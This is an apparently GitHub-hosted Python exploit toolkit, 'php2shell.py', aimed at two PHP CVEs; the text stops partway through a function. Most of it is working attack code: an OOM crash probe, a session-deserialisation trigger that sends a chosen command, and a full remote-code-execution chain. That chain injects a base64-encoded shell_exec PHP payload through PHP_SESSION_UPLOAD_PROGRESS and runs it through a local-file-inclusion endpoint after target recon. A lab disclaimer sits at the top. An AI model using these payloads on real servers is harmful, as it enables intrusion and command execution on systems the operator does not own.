Repository navigation
Expand file tree
/
Copy pathphp2shell.py
More file actions
2319 lines (1945 loc) · 78.3 KB
/
Copy pathphp2shell.py
File metadata and controls
2319 lines (1945 loc) · 78.3 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
701
702
703
704
705
706
707
708
709
710
711
712
713
714
715
716
717
718
719
720
721
722
723
724
725
726
727
728
729
730
731
732
733
734
735
736
737
738
739
740
741
742
743
744
745
746
747
748
749
750
751
752
753
754
755
756
757
758
759
760
761
762
763
764
765
766
767
768
769
770
771
772
773
774
775
776
777
778
779
780
781
782
783
784
785
786
787
788
789
790
791
792
793
794
795
796
797
798
799
800
801
802
803
804
805
806
807
808
809
810
811
812
813
814
815
816
817
818
819
820
821
822
823
824
825
826
827
828
829
830
831
832
833
834
835
836
837
838
839
840
841
842
843
844
845
846
847
848
849
850
851
852
853
854
855
856
857
858
859
860
861
862
863
864
865
866
867
868
869
870
871
872
873
874
875
876
877
878
879
880
881
882
883
884
885
886
887
888
889
890
891
892
893
894
895
896
897
898
899
900
901
902
903
904
905
906
907
908
909
910
911
912
913
914
915
916
917
918
919
920
921
922
923
924
925
926
927
928
929
930
931
932
933
934
935
936
937
938
939
940
941
942
943
944
945
946
947
948
949
950
951
952
953
954
955
956
957
958
959
960
961
962
963
964
965
966
967
968
969
970
971
972
973
974
975
976
977
978
979
980
981
982
983
984
985
986
987
988
989
990
991
992
993
994
995
996
997
998
999
1000
"""
php2shell.py - PHP CVE Research Toolkit v2.0.0
==================================================
Author : 4nuxd | https://github.com/4nuxd
CVEs : CVE-2026-109618 · CVE-2026-109619
DISCLAIMER - EDUCATIONAL PURPOSE & PROOF-OF-CONCEPT ONLY
─────────────────────────────────────────────────────────
This tool is released strictly for security research,
vulnerability assessment, and educational purposes.
It demonstrates documented PHP memory-management and
session-handling vulnerabilities (CVE-2026-109618 and
CVE-2026-109619) in controlled lab environments only.
► Do NOT run against systems you do not own or have
explicit written permission to test.
► The author assumes NO liability for misuse.
► All techniques shown are already public knowledge,
documented in the official PHP security advisory and
the PHP issue tracker (issue #24492).
Standalone - auto-installs requirements, no setup needed.
"""
import importlib, subprocess, sys, os
_DEPS = [("requests", "requests>=2.28.0"), ("urllib3", "urllib3>=1.26.0")]
def _bootstrap():
missing = [pkg for mod, pkg in _DEPS if not importlib.util.find_spec(mod)]
if not missing:
return
_raw_print(" ◈ Auto-installing dependencies …", "93")
for pkg in missing:
_raw_print(f" ↳ pip install {pkg}", "90")
r = subprocess.call(
[sys.executable, "-m", "pip", "install", "--quiet", pkg],
stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL,
)
if r != 0:
_raw_print(f" ✗ Could not install {pkg}. Run: pip install {pkg}", "91")
sys.exit(1)
_raw_print(" ✓ Dependencies ready\n", "92")
def _raw_print(msg, color="0"):
print(f"\033[{color}m{msg}\033[0m")
_bootstrap()
import argparse, base64, io, json, random, re, socket
import ssl, string, threading, time
from urllib.parse import urlparse
import requests, urllib3
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
__version__ = "2.0.0"
__author__ = "4nuxd"
__github__ = "https://github.com/4nuxd"
class C:
RST = "\033[0m"
BOLD = "\033[1m"
DIM = "\033[2m"
BLK = "\033[30m"
RED = "\033[31m"
GRN = "\033[32m"
YLW = "\033[33m"
BLU = "\033[34m"
MAG = "\033[35m"
CYN = "\033[36m"
WHT = "\033[37m"
BRED = "\033[91m"
BGRN = "\033[92m"
BYLW = "\033[93m"
BBLU = "\033[94m"
BMAG = "\033[95m"
BCYN = "\033[96m"
BWHT = "\033[97m"
BG_BLK = "\033[40m"
BG_RED = "\033[41m"
BG_GRN = "\033[42m"
BG_YLW = "\033[43m"
BG_BLU = "\033[44m"
BG_MAG = "\033[45m"
BG_CYN = "\033[46m"
def _term_width():
try:
return os.get_terminal_size().columns
except Exception:
return 100
def _c(text, *codes):
return "".join(codes) + str(text) + C.RST
def _ok(msg): print(f" {C.BGRN}✔{C.RST} {msg}")
def _fail(msg): print(f" {C.BRED}✘{C.RST} {C.BRED}{msg}{C.RST}")
def _info(msg): print(f" {C.BCYN}◈{C.RST} {msg}")
def _warn(msg): print(f" {C.BYLW}⚠{C.RST} {C.BYLW}{msg}{C.RST}")
def _step(n, t, msg): print(f" {C.DIM}[{n}/{t}]{C.RST} {C.BOLD}{msg}{C.RST}")
def _bullet(msg): print(f" {C.DIM}•{C.RST} {msg}")
def _blank(): print()
def _hline(char="─", width=None, color=C.DIM):
w = width or min(_term_width(), 100)
print(f"{color}{char * w}{C.RST}")
def _box_line(content, width=None, border_color=C.BCYN, content_color=C.BWHT):
w = width or min(_term_width(), 100)
inner = w - 4
text = str(content)[:inner].ljust(inner)
print(f"{border_color}║{C.RST} {content_color}{text}{C.RST} {border_color}║{C.RST}")
def _kv(key, val, key_color=C.CYN, val_color=C.BWHT, pad=26):
print(f" {key_color}{key:<{pad}}{C.RST} {val_color}{val}{C.RST}")
class Spinner:
"""Non-blocking terminal spinner for slow network ops."""
_FRAMES = ["⠋","⠙","⠹","⠸","⠼","⠴","⠦","⠧","⠇","⠏"]
_COLORS = [C.BCYN, C.BMAG, C.BBLU, C.BGRN, C.BYLW]
def __init__(self, message="Working"):
self.msg = message
self._stop = threading.Event()
self._thread = None
def _spin(self):
i = 0
while not self._stop.is_set():
frame = self._FRAMES[i % len(self._FRAMES)]
col = self._COLORS[i % len(self._COLORS)]
sys.stdout.write(f"\r {col}{frame}{C.RST} {C.DIM}{self.msg}…{C.RST} ")
sys.stdout.flush()
time.sleep(0.08)
i += 1
sys.stdout.write("\r" + " " * (_term_width() - 1) + "\r")
sys.stdout.flush()
def __enter__(self):
self._thread = threading.Thread(target=self._spin, daemon=True)
self._thread.start()
return self
def __exit__(self, *_):
self._stop.set()
if self._thread:
self._thread.join()
def _progress_bar(label, current, total, width=36):
frac = current / total if total else 0
filled = int(frac * width)
bar = f"{C.BCYN}{'█' * filled}{C.DIM}{'░' * (width - filled)}{C.RST}"
pct = int(frac * 100)
label_vis = str(label)[:max(0, _term_width() - width - 16)]
sys.stdout.write(
f"\r {bar} {C.BOLD}{pct:>3}%{C.RST} {C.DIM}{label_vis}{C.RST} "
)
sys.stdout.flush()
if current >= total:
print()
def _section(title):
print(f"\n {C.BCYN}▸{C.RST} {C.BOLD}{title}{C.RST}")
def _ok(msg):
print(f" {C.BGRN}✔{C.RST} {msg}")
def _fail(msg):
print(f" {C.BRED}✖{C.RST} {msg}")
def _warn(msg):
print(f" {C.BYLW}!{C.RST} {msg}")
def _info(msg):
print(f" {C.BCYN}·{C.RST} {msg}")
def _bullet(msg):
print(f" {C.DIM}•{C.RST} {C.DIM}{msg}{C.RST}")
def _kv(key, val, pad=14):
print(f" {C.DIM}{key:<{pad}}{C.RST} {val}")
def _step(n, total, msg):
print(f" {C.BCYN}[{n}/{total}]{C.RST} {msg}")
def _blank():
print()
def _hline(ch="─", width=None, col=None):
w = width or min(_term_width(), 100)
col = col or C.DIM
print(f" {col}{ch * (w - 2)}{C.RST}")
def _c(text, color):
return f"{color}{text}{C.RST}"
def _result_badge(label):
mapping = {
"VULNERABLE": (C.BRED + C.BOLD, " ✖ VULNERABLE "),
"PATCHED": (C.BGRN + C.BOLD, " ✔ PATCHED "),
"RCE CONFIRMED": (C.BRED + C.BOLD, " ✖ RCE CONFIRMED"),
"NOT EXPLOITABLE": (C.BGRN + C.BOLD, " ✔ SAFE "),
"CRASH LIKELY": (C.BYLW + C.BOLD, " ! CRASH LIKELY "),
"UNKNOWN": (C.DIM, " ? UNKNOWN "),
}
style, text = mapping.get(label, (C.DIM, f" {label} "))
return f"{style}{text}{C.RST}"
_ANSI_RE = re.compile(r'\x1b\[[0-9;]*[a-zA-Z]')
def _strip_ansi(text):
return _ANSI_RE.sub('', str(text))
def _table_row(cols, widths, colors=None):
colors = colors or [C.BWHT] * len(cols)
parts = []
for col, w, color in zip(cols, widths, colors):
s = str(col)
vis_len = len(_strip_ansi(s))
pad = max(0, w - vis_len)
cell = s + (" " * pad)
parts.append(f"{color}{cell}{C.RST}")
print(" " + f" {C.DIM}│{C.RST} ".join(parts))
def _table_header(cols, widths):
_table_row(cols, widths, colors=[C.BOLD + C.BCYN] * len(cols))
total_w = 2 + sum(widths) + (len(widths) - 1) * 5
_hline("─", total_w)
_ASCII_ART_LINES = [
"░▒▓███████▓▒░░▒▓█▓▒░░▒▓█▓▒░▒▓███████▓▒░▒▓███████▓▒░ ░▒▓███████▓▒░▒▓█▓▒░░▒▓█▓▒░▒▓████████▓▒░▒▓█▓▒░ ░▒▓█▓▒░",
"░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░ ░▒▓█▓▒░▒▓█▓▒░ ░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░ ░▒▓█▓▒░ ░▒▓█▓▒░",
"░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░ ░▒▓█▓▒░▒▓█▓▒░ ░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░ ░▒▓█▓▒░ ░▒▓█▓▒░",
"░▒▓███████▓▒░░▒▓████████▓▒░▒▓███████▓▒░░▒▓██████▓▒░ ░▒▓██████▓▒░░▒▓████████▓▒░▒▓██████▓▒░ ░▒▓█▓▒░ ░▒▓█▓▒░",
"░▒▓█▓▒░ ░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░ ░▒▓█▓▒░ ░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░ ░▒▓█▓▒░ ░▒▓█▓▒░",
"░▒▓█▓▒░ ░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░ ░▒▓█▓▒░ ░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░ ░▒▓█▓▒░ ░▒▓█▓▒░",
"░▒▓█▓▒░ ░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░ ░▒▓████████▓▒░▒▓███████▓▒░░▒▓█▓▒░░▒▓█▓▒░▒▓████████▓▒░▒▓████████▓▒░▒▓████████▓▒░",
]
def _print_banner():
art_w = max(len(l) for l in _ASCII_ART_LINES)
sub = f"PHP CVE Research Toolkit v{__version__} {__author__}"
cve = "CVE-2026-109618 · CVE-2026-109619"
print()
for art_line in _ASCII_ART_LINES:
print(f"{C.BCYN}{C.BOLD}{art_line}{C.RST}")
print(f"{C.DIM}{sub.rjust(art_w)}{C.RST}")
print(f"{C.DIM}{cve.rjust(art_w)}{C.RST}")
print()
def _print_module_start(name, cve, description):
_blank()
_section(f"{name} {C.DIM}({cve}){C.RST}")
print(f" {C.DIM}{description}{C.RST}")
_blank()
def _normalize_base(url):
"""Normalize base URL: ensure scheme, trim trailing slash and trailing script paths like index.php."""
if not url:
return ""
u = url.strip()
if not u.startswith(("http://", "https://")):
u = "http://" + u
parsed = urlparse(u)
path = parsed.path
if path.endswith((".php", ".html", ".htm", ".phtml")):
path = "/".join(path.split("/")[:-1])
path = path.rstrip("/")
return f"{parsed.scheme}://{parsed.netloc}{path}".rstrip("/")
def _http(ua=""):
s = requests.Session()
s.verify = False
s.headers["User-Agent"] = f"php2shell/{__version__} {ua}".strip()
return s
def _rand(n=26):
return "".join(random.choices(string.ascii_lowercase + string.digits, k=n))
_OOM_INTERP = {
"OK": ("NORMAL", C.BGRN),
"CATCHABLE_OOM": ("PATCHED (fallible alloc → E_ERROR)", C.BGRN),
"HARD_LIMIT_HIT": ("PATCHED (hard limit → _exit 137)", C.BYLW),
"CRASH_BAILOUT": ("VULNERABLE (longjmp/bailout path)", C.BRED),
"TIMEOUT": ("TIMEOUT", C.DIM),
}
def _oom_probe(base, mb, verbose):
url = f"{base}/oom_trigger.php"
if verbose:
_info(f"Probing {_c(str(mb) + 'M', C.BCYN)} via {_c(url, C.DIM)}")
http = _http("cve109618")
try:
r = http.get(url, params={"mb": mb}, timeout=25)
sc = r.status_code
body = r.text.lower()
if sc == 200:
if "memory" in body or "exhausted" in body:
return sc, "CATCHABLE_OOM", r.text[:300]
return sc, "OK", r.text[:200]
if sc in (500, 503):
if "memory" in body or "exhausted" in body:
return sc, "CATCHABLE_OOM", r.text[:300]
return sc, "HARD_LIMIT_HIT", f"HTTP {sc}"
if sc == 502:
return sc, "HARD_LIMIT_HIT", "FPM worker killed (_exit 137)"
return sc, "OK", f"HTTP {sc}"
except requests.exceptions.ConnectionError:
return None, "CRASH_BAILOUT", "Connection reset - longjmp/bailout path"
except requests.exceptions.Timeout:
return None, "TIMEOUT", "No response within timeout"
except Exception as exc:
return None, "CRASH_BAILOUT", str(exc)
def run_cve109618(base, mem_limit_mb=128, verbose=False):
_print_module_start(
"Zend OOM Bailout Probe", "CVE-2026-109618",
"Distinguishes patched fallible-alloc from unpatched longjmp path"
)
probes_mb = sorted(set(max(1, int(mem_limit_mb * r))
for r in (0.50, 0.75, 1.00, 1.50, 2.10)))
_kv("Target endpoint", f"{base}/oom_trigger.php")
_kv("memory_limit", f"{mem_limit_mb}M (hard cap ≈ {mem_limit_mb * 2}M on 8.4.27+)")
_kv("Probe ladder", ", ".join(f"{m}M" for m in probes_mb))
_blank()
cols = ["Alloc", "HTTP", "Classification", "Interpretation"]
widths = [8, 6, 20, 44]
_table_header(cols, widths)
results = []
for mb in probes_mb:
status, cls, detail = _oom_probe(base, mb, verbose)
sc_str = str(status) if status else "---"
label, color = _OOM_INTERP.get(cls, (cls, C.DIM))
sc_color = (C.BGRN if status == 200
else C.BRED if status in (None, 502, 500, 503)
else C.DIM)
cls_color = color
_table_row(
[f"{mb}M", sc_str, cls, label],
widths,
[C.BCYN, sc_color, cls_color, C.DIM],
)
results.append((mb, status, cls, detail))
if cls in ("CRASH_BAILOUT", "HARD_LIMIT_HIT"):
break
time.sleep(0.5)
_blank()
_hline()
crashes = [r for r in results if r[2] == "CRASH_BAILOUT"]
hard_hits = [r for r in results if r[2] == "HARD_LIMIT_HIT"]
catchable = [r for r in results if r[2] == "CATCHABLE_OOM"]
_blank()
if crashes:
print(f" {_result_badge('VULNERABLE')}")
_blank()
_fail(f"CRASH_BAILOUT at {crashes[0][0]}M - connection reset without graceful PHP error")
_bullet("On UNPATCHED PHP (< 8.4.27): OOM longjmp path")
_bullet("zend_bailout() races through partially-initialised allocator structs")
_bullet(f"Detail: {crashes[0][3]}")
_blank()
_warn("Upgrade to PHP >= 8.4.27 immediately")
elif hard_hits:
print(f" {_result_badge('PATCHED')}")
_blank()
_ok(f"HARD_LIMIT_HIT at {hard_hits[0][0]}M - FPM worker exited via _exit(137)")
_bullet("New hard memory limit active - fallible allocator prevented longjmp corruption")
_bullet(f"Detail: {hard_hits[0][3]}")
elif catchable:
print(f" {_result_badge('PATCHED')}")
_blank()
_ok(f"CATCHABLE_OOM at {catchable[0][0]}M - fallible allocator returned NULL → E_ERROR")
_bullet(f"Detail: {catchable[0][3][:200]}")
else:
_warn(f"No OOM triggered. PHP memory_limit may differ from {mem_limit_mb}M")
_bullet(f"Try: --mem-limit <actual> | docker exec <ctr> php -i | grep memory_limit")
_blank()
return bool(crashes)
def _cve109619_stage1(base, sid, marker, cmd, verbose):
if verbose:
_step(1, 3, "Injecting serialised object into session file")
_kv(" URL", f"{base}/session_inject.php", pad=10)
_kv(" SID", sid, pad=10)
_kv(" Marker", marker, pad=10)
_kv(" Cmd", repr(cmd), pad=10)
http = _http("cve109619")
try:
r = http.get(f"{base}/session_inject.php",
params={"sid": sid, "marker": marker, "cmd": cmd},
timeout=8)
except requests.RequestException as exc:
_fail(f"Stage 1 failed: {exc}")
return None
if r.status_code != 200:
_fail(f"session_inject.php → HTTP {r.status_code}")
_bullet("Deploy: docker cp session_inject.php <ctr>:/var/www/html/")
return None
try:
data = r.json()
except Exception:
_fail(f"Non-JSON response: {r.text[:300]}")
return None
if not data.get("ok"):
_fail(f"session_inject.php error: {data}")
return None
if verbose:
_kv(" Sess file", data.get("sess_file", "?"), pad=10)
_kv(" Class", data.get("class", "?"), pad=10)
return data
def _cve109619_stage2(base, sid, verbose):
if verbose:
_step(2, 3, "Triggering RFC1867 pre-RINIT callback via multipart upload")
_kv(" POST", f"{base}/upload.php", pad=10)
_kv(" Cookie", f"PHPSESSID={sid}", pad=10)
http = _http("cve109619")
body = (
b"--p2s109619\r\n"
b'Content-Disposition: form-data; name="PHP_SESSION_UPLOAD_PROGRESS"\r\n\r\n'
b"cve109619_trigger\r\n"
b"--p2s109619\r\n"
b'Content-Disposition: form-data; name="file"; filename="x.bin"\r\n'
b"Content-Type: application/octet-stream\r\n\r\n"
+ b"A" * 512
+ b"\r\n--p2s109619--\r\n"
)
headers = {
"Content-Type": "multipart/form-data; boundary=p2s109619",
"Cookie": f"PHPSESSID={sid}",
"Content-Length": str(len(body)),
}
try:
r = http.post(f"{base}/upload.php", data=body, headers=headers, timeout=10)
if verbose:
_kv(" HTTP", str(r.status_code), pad=10)
return r.status_code
except requests.RequestException as exc:
_fail(f"Stage 2 failed: {exc}")
return None
def _cve109619_stage3(base, marker, verbose):
if verbose:
_step(3, 3, "Reading sentinel - checking if __wakeup() fired")
time.sleep(0.5)
http = _http("cve109619")
try:
r = http.get(f"{base}/check_sentinel.php", params={"marker": marker}, timeout=8)
return r.json()
except Exception as exc:
_fail(f"check_sentinel.php failed: {exc}")
return None
def run_cve109619(base, cmd="id", verbose=False):
_print_module_start(
"Pre-RINIT Session Deserialisation", "CVE-2026-109619",
"RFC1867 upload-progress fires __wakeup() before php_request_startup()"
)
_info("RFC1867 rfc1867_callback reads session pre-RINIT on unpatched PHP")
_info("Patch (8.4.27): incomplete_classes_only mode blocks deserialisation")
_blank()
sid = _rand(26)
marker = _rand(8)
with Spinner("Stage 1 - injecting session object"):
info = _cve109619_stage1(base, sid, marker, cmd, verbose)
if not info:
return False
_ok("Session object injected")
with Spinner("Stage 2 - triggering RFC1867 callback"):
_cve109619_stage2(base, sid, verbose)
_ok("RFC1867 upload trigger sent")
with Spinner("Stage 3 - reading sentinel"):
sentinel = _cve109619_stage3(base, marker, verbose)
if sentinel is None:
return False
_ok("Sentinel retrieved")
_blank()
_hline()
wakeup_fired = sentinel.get("wakeup_fired", False)
destruct_fired = sentinel.get("destruct_fired", False)
fired = wakeup_fired or destruct_fired
_blank()
if fired:
print(f" {_result_badge('VULNERABLE')}")
_blank()
_fail("__wakeup() / __destruct() ran PRE-RINIT")
_bullet("RFC1867 callback deserialised session object BEFORE RINIT")
_bullet("Exact CVE-2026-109619 attack surface confirmed")
_blank()
raw = None
if wakeup_fired and sentinel.get("wakeup_log"):
raw = sentinel["wakeup_log"]
elif destruct_fired and sentinel.get("destruct_log"):
raw = sentinel["destruct_log"]
if raw:
output = ""
for line in raw.splitlines():
if line.startswith("output="):
output = line[len("output="):]
if output.strip():
_kv("Command", repr(cmd))
_blank()
_hline("─", 60)
for ln in output.strip().splitlines():
print(f" {C.BGRN}{ln}{C.RST}")
_hline("─", 60)
else:
_warn("No command output - check shell_exec availability on target")
_blank()
_warn("Fix: upgrade to PHP >= 8.4.27")
else:
print(f" {_result_badge('PATCHED')}")
_blank()
_ok("__wakeup() was NOT called pre-RINIT")
_bullet("PHP ran rfc1867 session decode in incomplete_classes_only mode")
_bullet("PS(in_rfc1867_update)=true is set - CVE-2026-109619 patch active")
_blank()
_kv("SID", sid)
_kv("Marker", marker)
_kv("Sess", info.get("sess_file", "?"))
_blank()
return fired
_MARKER_S = "<!--p2s:s-->"
_MARKER_E = "<!--p2s:e-->"
_DEFAULT_SESS_PATH = "/var/lib/php/sessions"
_DEFAULT_UPLOAD_EP = "/upload.php"
_DEFAULT_LFI_EP = "/view.php"
_DEFAULT_LFI_PARAM = "file"
def _make_payload(cmd):
enc = base64.b64encode(cmd.encode()).decode()
return (
_MARKER_S
+ "<?php echo shell_exec(base64_decode('" + enc + "')); ?>"
+ _MARKER_E
)
def _extract_output(body):
s = body.find(_MARKER_S)
e = body.find(_MARKER_E)
if s == -1 or e == -1:
return None
result = body[s + len(_MARKER_S):e]
return None if "<?php" in result else result
def _exploit_recon(base):
base = _normalize_base(base)
info = dict(
reachable=False, php_version=None,
upload_progress_enabled=None, upload_progress_cleanup=None,
session_path=None, session_writable=None, lfi_works=False,
)
http = _http("exploit-recon")
try:
# 1. Passive fingerprinting via the base target URL
try:
r0 = http.get(base, timeout=6)
info["reachable"] = True
headers = r0.headers
cookies = r0.cookies.get_dict()
set_cookie_str = headers.get("Set-Cookie", "")
xpb = headers.get("X-Powered-By", "")
srv = headers.get("Server", "")
m = re.search(r"PHP/([0-9]+\.[0-9]+(?:\.[0-9]+)?[a-zA-Z0-9._-]*)", xpb, re.I)
if not m:
m = re.search(r"PHP/([0-9]+\.[0-9]+(?:\.[0-9]+)?[a-zA-Z0-9._-]*)", srv, re.I)
if m:
info["php_version"] = m.group(1)
elif "PHPSESSID" in cookies or "PHPSESSID" in set_cookie_str or "php" in xpb.lower():
info["php_version"] = "Detected (masked by expose_php=Off)"
except requests.RequestException:
pass
# 2. Check lab/debug endpoint (/debug.php)
try:
r = http.get(base + "/debug.php", timeout=6)
if r.status_code == 200:
info["reachable"] = True
body = r.text
for pat, key in [
(r"PHP:\s*([\d.]+)", "php_version"),
(r"upload_progress\.enabled:\s*(\S+)", "upload_progress_enabled"),
(r"save_path:\s*(\S+)", "session_path"),
]:
m = re.search(pat, body)
if m:
info[key] = m.group(1)
m = re.search(r"upload_progress\.cleanup:\s*(\S*)\s*\n", body)
if m:
info["upload_progress_cleanup"] = m.group(1)
m = re.search(r"Session dir writable:\s*(YES|NO)", body)
if m:
info["session_writable"] = m.group(1) == "YES"
except requests.RequestException:
pass
# 3. If version still undetermined, check standard info endpoints
if not info["php_version"] or "masked" in str(info["php_version"]):
for info_path in ["/phpinfo.php", "/info.php"]:
try:
ri = http.get(base + info_path, timeout=4)
if ri.status_code == 200 and "PHP Version" in ri.text:
mi = re.search(r"PHP Version\s*(?:=>\s*|<\/td><td>)?\s*([0-9]+\.[0-9]+(?:\.[0-9]+)?)", ri.text, re.I)
if mi:
info["php_version"] = mi.group(1)
break
except requests.RequestException:
pass
# 4. Probe LFI (verify it returns file content and not an HTML error/custom 404 page)
try:
r2 = http.get(base + "/view.php", params={"file": "/etc/hostname"}, timeout=5)
if (r2.status_code == 200 and r2.text.strip()
and "Warning" not in r2.text
and not r2.text.strip().lower().startswith("<!doctype")):
info["lfi_works"] = True
except requests.RequestException:
pass
except requests.RequestException as exc:
if not info["reachable"]:
_fail(f"Connection error: {exc}")
finally:
http.close()
return info
def _print_recon(info):
_blank()
_hline("─", 60)
print(f" {C.BOLD}{C.BCYN} TARGET RECON{C.RST}")
_hline("─", 60)
up = info["upload_progress_enabled"]
sw = info["session_writable"]
def yn(v, good="1 On on".split(), bad=("0","Off","off")):
if v in good: return f"{C.BGRN}ON ✔{C.RST}"
if v in bad: return f"{C.BRED}OFF ✘{C.RST}"
return f"{C.DIM}{v or '?'}{C.RST}"
php_ver = info["php_version"] or "unknown (hidden by server/WAF)"
_kv("PHP Version", php_ver)
_kv("upload_progress", f"{yn(up)} {C.DIM}(required for chain){C.RST}")
_kv("cleanup", info["upload_progress_cleanup"] or "Off")
_kv("Session path", info["session_path"] or "unknown")
_kv("Session writable", f"{C.BGRN}YES ✔{C.RST}" if sw else f"{C.BRED}NO ✘{C.RST}")
_kv("LFI (view.php)", f"{C.BGRN}WORKING ✔{C.RST}" if info["lfi_works"]
else f"{C.BRED}NOT WORKING ✘{C.RST}")
_hline("─", 60)
_blank()
def run_exploit(base, cmd="id", session_path=_DEFAULT_SESS_PATH,
upload_ep=_DEFAULT_UPLOAD_EP, lfi_ep=_DEFAULT_LFI_EP,
lfi_param=_DEFAULT_LFI_PARAM, check_only=False):
_print_module_start(
"Session Upload Progress Poisoning + LFI", "CVE-2026-109619",
"PHP_SESSION_UPLOAD_PROGRESS writes payload → LFI executes it"
)
with Spinner("Probing target configuration"):
info = _exploit_recon(base)
if not info["reachable"]:
_fail("Target unreachable - check the web server is running")
return False
_print_recon(info)
if check_only:
_info("--check complete (no RCE attempted)")
return None
up = info["upload_progress_enabled"]
if up not in ("1", "On", "on"):
_fail("upload_progress is OFF - chain requires it to be ON")
_bullet("Set session.upload_progress.enabled=1 in php.ini to reproduce")
return False
if not info["lfi_works"]:
_fail("LFI not working via view.php - check endpoint and file param")
return False
sess_path = info["session_path"] or session_path
sid = _rand(26)
sess_file = f"{sess_path}/sess_{sid}"
payload = _make_payload(cmd)
_info(f"Command: {_c(repr(cmd), C.BYLW)}")
_kv("SID", sid)
_kv("Sess file", sess_file)
_blank()
_step(1, 2, "Injecting payload via multipart upload")
http = _http("exploit")
http.cookies.set("PHPSESSID", sid)
try:
r = http.post(
base + upload_ep,
data={"PHP_SESSION_UPLOAD_PROGRESS": payload},
files={"file": ("dummy.bin", io.BytesIO(b"\x00" * 1024), "application/octet-stream")},
timeout=10,
)
if r.status_code == 200:
_ok(f"POST {upload_ep} → HTTP 200")
else:
_fail(f"POST returned HTTP {r.status_code}")
return False
except requests.RequestException as exc:
_fail(f"Injection POST failed: {exc}")
return False
finally:
http.close()
_step(2, 2, "Triggering LFI to execute injected PHP")
http2 = _http("exploit")
try:
r2 = http2.get(base + lfi_ep, params={lfi_param: sess_file}, timeout=10)
output = _extract_output(r2.text)
except requests.RequestException as exc:
_fail(f"LFI GET failed: {exc}")
return False
finally:
http2.close()
_blank()
_hline()
_blank()
if output is None:
print(f" {_result_badge('UNKNOWN')}")
_blank()
_warn("No output extracted - possible causes:")
_bullet("session.upload_progress.enabled = Off")
_bullet("session.upload_progress.cleanup = On (session deleted before LFI)")
_bullet("Session dir not writable by www-data")
_bullet("view.php unreachable or LFI path blocked")
_blank()
_info(f"Run with --check to re-run recon only")
return False
output = output.strip()
print(f" {_result_badge('RCE CONFIRMED')}")
_blank()
_ok("PHP code executed via session upload progress + LFI chain")
_blank()
_hline("─", 64)
for ln in output.splitlines():
print(f" {C.BGRN}{ln}{C.RST}")
_hline("─", 64)
_blank()
_bullet("PHP_SESSION_UPLOAD_PROGRESS value written to disk by upload-progress handler")
_bullet("Session file included via LFI and PHP code executed")
_warn("Fix: PHP >= 8.4.27 OR session.upload_progress.enabled=0")
_blank()
return True
_UAF_BUILDS = {}
def _build_nested():
b = "----php2shellNestedBoundary"
body = (
f"{b}\r\nContent-Disposition: form-data; name=\"PHP_SESSION_UPLOAD_PROGRESS\"\r\n\r\nAAAA\r\n"
f"{b}\r\nContent-Disposition: form-data; name=\"file\"; filename=\"x.bin\"\r\n"
f"Content-Type: application/octet-stream\r\n\r\n"
).encode()
body += b"B" * 4096 + b"\r\n"
body += f"{b}\r\nContent-Disposition: form-data; name=\"extra\"\r\n\r\nC\r\n{b}--\r\n{b}--\r\n".encode()
return body, f"multipart/form-data; boundary={b[2:]}"
def _build_longheader():
b = "----php2shellLongHeader"
body = (
